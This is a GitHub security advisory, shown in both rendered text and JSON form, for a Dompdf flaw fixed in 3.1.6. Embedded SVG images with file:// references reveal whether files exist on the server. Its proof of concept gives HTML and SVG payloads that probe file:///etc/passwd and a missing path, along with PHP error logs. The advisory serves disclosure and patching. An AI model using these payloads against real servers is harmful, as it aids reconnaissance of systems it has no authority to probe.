GHSA-J8QW-6JW8-R297
Vulnerability from github – Published: 2026-07-22 22:52 – Updated: 2026-07-22 22:52Summary
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196
PoC
First, the attacker renders this HTML document:
<html>
<head>
</head>
<body>
<img src="">
Hello World!
</body>
</html>
The <img> tag contains the following SVG content:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
</svg>
As expected, the resulting PDF contains a broken image:
However, when supplying a path to a file or directory that does not exist, for example:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
</svg>
The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59943"
],
"database_specific": {
"cwe_ids": [
"CWE-209"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:52:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nIf a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.\n\n### Details\nUsing an `\u003cimage\u003e` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.\n\n```\n[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173\n[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196\n```\n\n### PoC\n\nFirst, the attacker renders this HTML document:\n```\n\u003chtml\u003e\n\u003chead\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cimg src=\"\"\u003e\n Hello World!\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe `\u003cimg\u003e` tag contains the following SVG content:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage xlink:href=\"file:///etc/passwd\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n \u003c/svg\u003e\n```\n\nAs expected, the resulting PDF contains a broken image:\n\u003cimg width=\"621\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2\" /\u003e\n\nHowever, when supplying a path to a file or directory that does not exist, for example:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage xlink:href=\"file:///DOESNOTEXIST\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n \u003c/svg\u003e\n```\n\nThe resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the \"Hello World!\" text 180 degrees from the expected position:\n\n\u003cimg width=\"616\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9\" /\u003e\n\n### Impact\nBy exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.",
"id": "GHSA-j8qw-6jw8-r297",
"modified": "2026-07-22T22:52:44Z",
"published": "2026-07-22T22:52:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem"
}
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